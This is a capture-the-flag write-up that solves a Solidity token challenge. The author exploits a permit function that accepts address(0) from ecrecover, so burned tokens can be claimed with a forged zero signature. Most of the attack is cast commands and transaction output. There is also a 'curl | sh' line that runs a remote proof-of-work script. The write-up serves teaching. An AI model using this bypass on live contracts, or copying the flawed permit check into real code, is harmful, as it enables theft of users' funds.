Play to Earn
7 minutes to read
We are given a Smart Contract called ArcadeMachine.sol
:
pragma solidity 0.8.25;
import { Coin } from "./Coin.sol";
contract ArcadeMachine {
Coin coin;
constructor(Coin _coin) {
coin = _coin;
}
function play(uint256 times) external {
// burn the coins
require(coin.transferFrom(msg.sender, address(0), 1 ether * times));
// Have fun XD
}
}
Another Smart Contract called Coin.sol
:
pragma solidity 0.8.25;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/cryptography/EIP712.sol";
contract Coin is Ownable, EIP712 {
string public constant name = "COIN";
string public constant symbol = "COIN";
uint8 public constant decimals = 18;
bytes32 constant PERMIT_TYPEHASH = keccak256(
"Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"
);
event Approval(address indexed src, address indexed guy, uint wad);
event Transfer(address indexed src, address indexed dst, uint wad);
event Deposit(address indexed dst, uint wad);
event Withdrawal(address indexed src, uint wad);
event PrivilegedWithdrawal(address indexed src, uint wad);
mapping (address => uint) public nonces;
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
constructor() Ownable(msg.sender) EIP712(name, "1") {}
fallback() external payable {
deposit();
}
function deposit() public payable {
balanceOf[msg.sender] += msg.value;
emit Deposit(msg.sender, msg.value);
}
function withdraw(uint wad) external {
require(balanceOf[msg.sender] >= wad);
balanceOf[msg.sender] -= wad;
payable(msg.sender).transfer(wad);
emit Withdrawal(msg.sender, wad);
}
function privilegedWithdraw() onlyOwner external {
uint wad = balanceOf[address(0)];
balanceOf[address(0)] = 0;
payable(msg.sender).transfer(wad);
emit PrivilegedWithdrawal(msg.sender, wad);
}
function totalSupply() public view returns (uint) {
return address(this).balance;
}
function approve(address guy, uint wad) public returns (bool) {
allowance[msg.sender][guy] = wad;
emit Approval(msg.sender, guy, wad);
return true;
}
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external {
require(block.timestamp <= deadline, "signature expired");
bytes32 structHash = keccak256(
abi.encode(PERMIT_TYPEHASH, owner, spender, value, nonces[owner]++, deadline)
);
bytes32 h = _hashTypedDataV4(structHash);
address signer = ecrecover(h, v, r, s);
require(signer == owner, "invalid signer");
allowance[owner][spender] = value;
emit Approval(owner, spender, value);
}
function transfer(address dst, uint wad) public returns (bool) {
return transferFrom(msg.sender, dst, wad);
}
function transferFrom(address src, address dst, uint wad)
public
returns (bool)
{
require(balanceOf[src] >= wad);
if (src != msg.sender && allowance[src][msg.sender] != type(uint256).max) {
require(allowance[src][msg.sender] >= wad);
allowance[src][msg.sender] -= wad;
}
balanceOf[src] -= wad;
balanceOf[dst] += wad;
emit Transfer(src, dst, wad);
return true;
}
}
And this is Setup.sol
:
pragma solidity 0.8.25;
import { Coin } from "./Coin.sol";
import { ArcadeMachine } from "./ArcadeMachine.sol";
contract Setup {
Coin public coin;
ArcadeMachine public arcadeMachine;
address player;
constructor() payable {
coin = new Coin();
arcadeMachine = new ArcadeMachine(coin);
// Assume that many people have played before you ;)
require(msg.value == 20 ether);
coin.deposit{value: 20 ether}();
coin.approve(address(arcadeMachine), 19 ether);
arcadeMachine.play(19);
}
function register() external {
require(player == address(0));
player = msg.sender;
coin.transfer(msg.sender, 1337); // free coins for new players :)
}
function isSolved() external view returns (bool) {
return player != address(0) && player.balance >= 13.37 ether;
}
}
Setup environment
First of all, let’s save the connection parameters as shell variables:
$ ncat --ssl play-to-earn.chals.sekai.team 1337
1 - launch new instance
2 - kill instance
3 - get flag
action? 1
curl -sSfL https://pwn.red/pow | sh -s s.AAATiA==.lBVBVVO53vx7N8dUODddBQ==
solution please: s.BFE2GqrKKFhmj7+6mKbW2pD9nFKsOCXgE4LrOdhtf6BJu6uZVVZUpgWQ7h6h083wh5tlnLAQukyir0tXOFAaX39O3MNsiY30lnzu/xecGdcLLozR8p0iYc1OeF0+wwG/kHl8kG9JIhsnsaAo3SdLAObhNhPLRIySTlE7qOrl9p6L/KD0SvRXXMxTviF7dMnDUIqU19JInoNCi8+JHKmt7Q==
your private blockchain has been deployed
it will automatically terminate in 30 minutes
here's some useful information
uuid: decbdee7-b83f-4597-8390-a817c2d9498b
rpc endpoint: https://play-to-earn.chals.sekai.team/decbdee7-b83f-4597-8390-a817c2d9498b
private key: 0x6351128ac11d06dc0e3c714e594994f432f324fe317078bfca64a117fad0e001
your address: 0xcA75Bb843EFC2fC19941B57BB2DbFAa0d889109c
setup contract: 0x2A94c6147f15cE2f4C92EeEFabc9b471020b8Fe1
Ncat: Input/output error.
$ export ETH_RPC_URL='https://play-to-earn.chals.sekai.team/decbdee7-b83f-4597-8390-a817c2d9498b'
$ PRIVATE_KEY='0x6351128ac11d06dc0e3c714e594994f432f324fe317078bfca64a117fad0e001'
$ ADDRESS='0xcA75Bb843EFC2fC19941B57BB2DbFAa0d889109c'
$ ADDRESS_SETUP='0x2A94c6147f15cE2f4C92EeEFabc9b471020b8Fe1'
$ cast call $ADDRESS_SETUP 'isSolved() (bool)'
false
Solution
As can be seen in Setup.sol
, we need that our player
address is defined and to have more than 13.37 ether as balance. The first part is easy, we only need to call register
. For the second part, we will need to analyze the Coin
Smart Contract.
One thing we can do is get the addresses of coin
and arcadeMachine
, either from the storage or calling the public methods:
$ cast storage $ADDRESS_SETUP 0
0x000000000000000000000000c1c44b2a3f7ec00cc91646c62dc21ad74b90f85c
$ cast storage $ADDRESS_SETUP 1
0x00000000000000000000000077c92b748aa2ff38542d7d667a6c34afff1c2c86
$ cast storage $ADDRESS_SETUP 2
0x0000000000000000000000000000000000000000000000000000000000000000
$ cast call $ADDRESS_SETUP 'coin() (address)'
0xc1c44b2A3f7eC00cc91646C62dC21aD74B90f85c
$ cast call $ADDRESS_SETUP 'arcadeMachine() (address)'
0x77C92B748aA2ff38542D7d667a6C34aFff1c2c86
$ ADDRESS_COIN=$(cast call $ADDRESS_SETUP 'coin() (address)')
$ ADDRESS_ARCADE_MACHINE=$(cast call $ADDRESS_SETUP 'arcadeMachine() (address)')
Notice how the player
address (storage index 2) is still not defined.
This Smart Contract defines some nonces
, balanceOf
and allowance
mappings to handle money transfers:
mapping (address => uint) public nonces;
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
In fact, the only thing that ArcadeMachine
does is transfer 19 ether to address(0)
(called from Setup
):
constructor(Coin _coin) {
coin = _coin;
}
function play(uint256 times) external {
// burn the coins
require(coin.transferFrom(msg.sender, address(0), 1 ether * times));
// Have fun XD
}
This means that address(0)
has 19 ether as balance:
$ cast call $ADDRESS_COIN 'balanceOf(address) (uint)' 0x0000000000000000000000000000000000000000
19000000000000000000
Appart from approve
:
function approve(address guy, uint wad) public returns (bool) {
allowance[msg.sender][guy] = wad;
emit Approval(msg.sender, guy, wad);
return true;
}
Which simply sets allowance
of money from the sender’s address to another address, we have a similar method to do almost the same, which is permit
:
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external {
require(block.timestamp <= deadline, "signature expired");
bytes32 structHash = keccak256(
abi.encode(PERMIT_TYPEHASH, owner, spender, value, nonces[owner]++, deadline)
);
bytes32 h = _hashTypedDataV4(structHash);
address signer = ecrecover(h, v, r, s);
require(signer == owner, "invalid signer");
allowance[owner][spender] = value;
emit Approval(owner, spender, value);
}
In this function, we can provide the source address for the allowance
mapping, but we need to provide a valid signature for that, because it is checked with ecrecover
:
address signer = ecrecover(h, v, r, s);
require(signer == owner, "invalid signer");
allowance[owner][spender] = value;
However, according to the docs, ecrecover
will output address(0)
on error. We can check it using chisel
:
$ chisel
Welcome to Chisel! Type `!help` to show available commands.
➜ ecrecover(0, 0, 0, 0)
Type: address
└ Data: 0x0000000000000000000000000000000000000000
So, we can send arbitrary values v
, r
, s
for the signature to get address(0)
as output. Also, we need to send a large number as deadline
to pass this require
check. As a result, we can set allowance
to send us the money:
$ cast call $ADDRESS_COIN 'allowance(address, address) (uint)' 0x0000000000000000000000000000000000000000 $ADDRESS
0
$ cast send $ADDRESS_COIN 'permit(address, address, uint256, uint256, uint8, bytes32, bytes32)' 0x0000000000000000000000000000000000000000 $ADDRESS 19000000000000000000 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff 0 0x0 0x0 --private-key $PRIVATE_KEY
blockHash 0x392e0a2c8dd6c8a23b2a111bc2b6478c70d214839d9ba5d431703f84f82bb0d8
blockNumber 3
contractAddress
cumulativeGasUsed 73634
effectiveGasPrice 3000000000
gasUsed 73634
logs [{"address":"0xc1c44b2a3f7ec00cc91646c62dc21ad74b90f85c","topics":["0x8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925","0x0000000000000000000000000000000000000000000000000000000000000000","0x000000000000000000000000ca75bb843efc2fc19941b57bb2dbfaa0d889109c"],"data":"0x00000000000000000000000000000000000000000000000107ad8f556c6c0000","blockHash":"0x392e0a2c8dd6c8a23b2a111bc2b6478c70d214839d9ba5d431703f84f82bb0d8","blockNumber":"0x3","transactionHash":"0xb3a576d0678603bcfb33e2e50a2285872272e115d93c083d53593bd1948a543e","transactionIndex":"0x0","logIndex":"0x0","removed":false}]
logsBloom 0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000002000000000000000020000000000000000000800000000000800000004000000004000000000000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000002000000000000008000000000000000000000000000000000000000000000020000010000000000000000000000000000000000000000000000000000000000000
root 0x727d6d1aacf37d2e058e0441737b91a935d31d20418394741fcbe6bbf3f5013c
status 1
transactionHash 0xb3a576d0678603bcfb33e2e50a2285872272e115d93c083d53593bd1948a543e
transactionIndex 0
type 2
$ cast call $ADDRESS_COIN 'allowance(address, address) (uint)' 0x0000000000000000000000000000000000000000 $ADDRESS
19000000000000000000
With this, we can use transferFrom
to get the money:
function transferFrom(address src, address dst, uint wad)
public
returns (bool)
{
require(balanceOf[src] >= wad);
if (src != msg.sender && allowance[src][msg.sender] != type(uint256).max) {
require(allowance[src][msg.sender] >= wad);
allowance[src][msg.sender] -= wad;
}
balanceOf[src] -= wad;
balanceOf[dst] += wad;
emit Transfer(src, dst, wad);
return true;
}
$ cast call $ADDRESS_COIN 'balanceOf(address) (uint)' $ADDRESS
0
$ cast send $ADDRESS_COIN 'transferFrom(address, address, uint)' 0x0000000000000000000000000000000000000000 $ADDRESS 19000000000000000000 --private-key $PRIVATE_KEY
blockHash 0x44fd7ebd12282e63e951a0bc4d17f7e72ca5be787dcf90846713ca6a6e0b36ec
blockNumber 4
contractAddress
cumulativeGasUsed 48198
effectiveGasPrice 3000000000
gasUsed 48198
logs [{"address":"0xc1c44b2a3f7ec00cc91646c62dc21ad74b90f85c","topics":["0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef","0x0000000000000000000000000000000000000000000000000000000000000000","0x000000000000000000000000ca75bb843efc2fc19941b57bb2dbfaa0d889109c"],"data":"0x00000000000000000000000000000000000000000000000107ad8f556c6c0000","blockHash":"0x44fd7ebd12282e63e951a0bc4d17f7e72ca5be787dcf90846713ca6a6e0b36ec","blockNumber":"0x4","transactionHash":"0x1221741eb7587b4ba48180f0addd7597be78dd879b51ff3e8491c318462b7ff9","transactionIndex":"0x0","logIndex":"0x0","removed":false}]
logsBloom 0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000002000000000000000020000000000000000000800000000000800000004000010004000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002000000002000008000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000000000
root 0x66d26901ad1e4aa8f45a69ac0a4c9f1b049afe468836fc3e5b89052d66f6b9f3
status 1
transactionHash 0x1221741eb7587b4ba48180f0addd7597be78dd879b51ff3e8491c318462b7ff9
transactionIndex 0
type 2
$ cast call $ADDRESS_COIN 'balanceOf(address) (uint)' $ADDRESS
19000000000000000000
Now, we can register the player in Setup
:
$ cast storage $ADDRESS_SETUP 2
0x0000000000000000000000000000000000000000000000000000000000000000
$ cast send $ADDRESS_SETUP 'register()' --private-key $PRIVATE_KEY
blockHash 0xfa794e74386154f46418b4b88ed2b109c3d7de35e132d2d7ab11672f49839273
blockNumber 6
contractAddress
cumulativeGasUsed 61572
effectiveGasPrice 3000000000
gasUsed 61572
logs [{"address":"0xc1c44b2a3f7ec00cc91646c62dc21ad74b90f85c","topics":["0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef","0x0000000000000000000000002a94c6147f15ce2f4c92eeefabc9b471020b8fe1","0x000000000000000000000000ca75bb843efc2fc19941b57bb2dbfaa0d889109c"],"data":"0x0000000000000000000000000000000000000000000000000000000000000539","blockHash":"0xfa794e74386154f46418b4b88ed2b109c3d7de35e132d2d7ab11672f49839273","blockNumber":"0x6","transactionHash":"0x23cbc12fdd31cf4d6ba1474603156afedadc2a4355ee747fb64cce7bf00c17a5","transactionIndex":"0x0","logIndex":"0x0","removed":false}]
logsBloom 0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000002000000000000000000000000000000000000000000000000800000004800010004000000020000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000000000000000002000000002000008000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
root 0x710f59649049ad45942e6a28ca4b44652f0f317b86f73e4cadf64865b11edfae
status 1
transactionHash 0x23cbc12fdd31cf4d6ba1474603156afedadc2a4355ee747fb64cce7bf00c17a5
transactionIndex 0
type 2
$ cast storage $ADDRESS_SETUP 2
0x000000000000000000000000ca75bb843efc2fc19941b57bb2dbfaa0d889109c
$ echo $ADDRESS
0xcA75Bb843EFC2fC19941B57BB2DbFAa0d889109c
Finally, we withdraw some money from Coin
to solve the challenge:
$ cast send $ADDRESS_COIN 'withdraw(uint)' 19000000000000000000 --private-key $PRIVATE_KEY
blockHash 0xa57f09bd138c32f2243afb0ded05b25417db0a19e0b6bf61139b005babe052c7
blockNumber 7
contractAddress
cumulativeGasUsed 35211
effectiveGasPrice 3000000000
gasUsed 35211
logs [{"address":"0xc1c44b2a3f7ec00cc91646c62dc21ad74b90f85c","topics":["0x7fcf532c15f0a6db0bd6d0e038bea71d30d808c7d98cb3bf7268a95bf5081b65","0x000000000000000000000000ca75bb843efc2fc19941b57bb2dbfaa0d889109c"],"data":"0x00000000000000000000000000000000000000000000000107ad8f556c6c0000","blockHash":"0xa57f09bd138c32f2243afb0ded05b25417db0a19e0b6bf61139b005babe052c7","blockNumber":"0x7","transactionHash":"0x2e6f513c2145cf865796600b7acd155955cfea2d515da3590e9f1a557a142259","transactionIndex":"0x0","logIndex":"0x0","removed":false}]
logsBloom 0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000400000000000002000000000000000000000000000000000000000000000000800040004000000004000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002000000000000008000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000000000000
root 0x07943ff4ad081b92e626050d5701d6471ca174a7d8d3b7bffc63bf13c46edd20
status 1
transactionHash 0x2e6f513c2145cf865796600b7acd155955cfea2d515da3590e9f1a557a142259
transactionIndex 0
type 2
$ cast balance $ADDRESS --ether
19.999273799000000000
Flag
Once here, we have solved the challenge and we can get the flag:
$ cast call $ADDRESS_SETUP 'isSolved() (bool)'
true
$ ncat --ssl play-to-earn.chals.sekai.team 1337
1 - launch new instance
2 - kill instance
3 - get flag
action? 3
uuid please: decbdee7-b83f-4597-8390-a817c2d9498b
SEKAI{0wn3r:wh3r3_4r3_mY_c01n5_:<}